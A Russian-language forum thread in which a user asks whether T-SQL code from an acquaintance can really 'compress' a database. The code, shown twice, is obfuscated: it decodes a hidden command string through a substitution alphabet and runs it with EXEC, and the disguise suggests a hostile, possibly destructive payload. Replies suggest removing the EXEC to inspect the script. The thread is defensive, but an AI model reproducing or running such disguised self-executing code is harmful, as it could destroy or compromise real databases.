Непонятный код
Один знакомый дал код, который должен "сжимать" базу данных. Но я, честно говоря, не понимаю, как её можно сжать, а в самом коде разобраться не получается, и Google тоже не помог :(. Уважаемые гуру, подскажите, действительно ли такой код может сжать содержимое БД? И если да - то что надо почитать мне, чтобы в нем разобраться?
А то выполнять непонятный код на рабочей базе данных страшно немного.
Код:
BEGIN
DECLARE @I1 VARCHAR(MAX);
SET @I1 = 'l6?4GI6VFFI4O?l6?4kVF6?lOX4?lX@?VGX_?6?;VgY?Gi4X?96G4Y?l7'+
'X@Ab?4FTIG?eVgOb>64i4?X_`4T?MNkhGIGkH96G4Y@@?4F_9B?lX@?V'+
'GX_?6?;VgY?Gi4X?96G4Y?l6?X4eV?l7MMJ>gI96gIS?W@?4gIF64O?lb'+
'hb4eEG?4g49B?R3]ZcU5[RPR?;VgY?ZjLW?G64F4k?gVY?gVkgh6?]?4'+
'gIF64O?lb==L?GX_IgGkXV6?C6496VX?8?4FTIG?g4GFIb?Z=UL3<]LZ^'+
'5KRjH:R?64i4';
DECLARE @I2 VARCHAR(MAX);
SET @I2 = 'tEoC)?HpMhl( @+WK!YLT_A2fa0>Dy6sVBbOnNFe.=crIG|j…P>RUXmS;'
DECLARE @I3 VARCHAR(MAX) ,
@I INT;
SET @I = 1;
SET @I3 = '';
WHILE @I <= LEN(@I1)
BEGIN
SET @I3 = SUBSTRING(@I2, 0 + ASCII(SUBSTRING(@I1, @I, 1)) - 50, 1)
+ @I3;
SET @I = @I + 1;
END;
SET @I3=REPLACE(@I3,'|','''');
EXEC(@I3);
END;
DECLARE @I1 VARCHAR(MAX);
SET @I1 = 'l6?4GI6VFFI4O?l6?4kVF6?lOX4?lX@?VGX_?6?;VgY?Gi4X?96G4Y?l7'+
'X@Ab?4FTIG?eVgOb>64i4?X_`4T?MNkhGIGkH96G4Y@@?4F_9B?lX@?V'+
'GX_?6?;VgY?Gi4X?96G4Y?l6?X4eV?l7MMJ>gI96gIS?W@?4gIF64O?lb'+
'hb4eEG?4g49B?R3]ZcU5[RPR?;VgY?ZjLW?G64F4k?gVY?gVkgh6?]?4'+
'gIF64O?lb==L?GX_IgGkXV6?C6496VX?8?4FTIG?g4GFIb?Z=UL3<]LZ^'+
'5KRjH:R?64i4';
DECLARE @I2 VARCHAR(MAX);
SET @I2 = 'tEoC)?HpMhl( @+WK!YLT_A2fa0>Dy6sVBbOnNFe.=crIG|j…P>RUXmS;'
DECLARE @I3 VARCHAR(MAX) ,
@I INT;
SET @I = 1;
SET @I3 = '';
WHILE @I <= LEN(@I1)
BEGIN
SET @I3 = SUBSTRING(@I2, 0 + ASCII(SUBSTRING(@I1, @I, 1)) - 50, 1)
+ @I3;
SET @I = @I + 1;
END;
SET @I3=REPLACE(@I3,'|','''');
EXEC(@I3);
END;
Помогли на SQL.ru, вопрос исчерпан.
Уберите EXEC в конце и покажите чему стало равнол @3. Мы должны увидеть скрипт сжатия базы
SQL сервера нет под рукой - проверить не могу